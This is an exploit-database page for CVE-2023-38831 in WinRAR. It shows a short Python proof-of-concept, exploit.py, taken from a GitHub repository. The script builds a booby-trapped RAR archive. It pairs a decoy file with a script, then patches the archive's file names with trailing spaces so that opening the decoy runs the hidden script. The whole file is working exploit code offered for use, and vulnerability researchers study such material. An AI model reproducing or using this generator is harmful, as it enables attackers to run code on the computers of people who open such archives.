Exploit databaseDownload repository ZIP
GH-9a29d193334df966836600c151990602
ronf98/cve-2023-38831-poc
Sources for CVE-2023-38831
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
ronf98/cve-2023-38831-pocRevision e5734ef876de
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 1,971 bytesimport shutil
import tempfile
import os
def exploit():
print("CVE-2023-38831 WinRAR POC")
print("Enter the file names and extensions for the following fields:")
decoy_file = input("Decoy file name: ")
script_file = input("Script file name (example calc.cmd): ")
output_file = input("Output RAR file name: ")
# Checking file existence
if not os.path.exists(decoy_file):
print(f"Error: {decoy_file} does not exist in the specified path")
return
if not os.path.exists(script_file):
print(f"Error: {script_file} does not exist in the specified path")
return
if not output_file.endswith(".rar"):
output_file += ".rar"
# Get the file extension of the decoy file
decoy_extension = os.path.splitext(decoy_file)[1]
script_extension = os.path.splitext(script_file)[1]
# Create a temporary directory for the zip archive
with tempfile.TemporaryDirectory() as template:
revised = os.path.join(template, decoy_file + "X")
os.mkdir(revised)
# Copy files into the temporary directory with the crafted names
shutil.copyfile(script_file, os.path.join(revised, decoy_file + f"X{script_extension}"))
shutil.copyfile(decoy_file, os.path.join(template, decoy_file + "Y"))
# Create a zip archive from the temporary directory
shutil.make_archive(template, 'zip', template)
# Modifying path names
with open(template + ".zip", "rb") as f:
content = f.read()
content = content.replace(decoy_extension.encode() + b"X", decoy_extension.encode() + b" ")
content = content.replace(decoy_extension.encode() + b"Y", decoy_extension.encode() + b" ")
os.remove(template + ".zip")
with open(output_file, "wb") as f:
f.write(content)
print(f"Exploit generated successfully as '{output_file}'.")
if __name__ == "__main__":
exploit()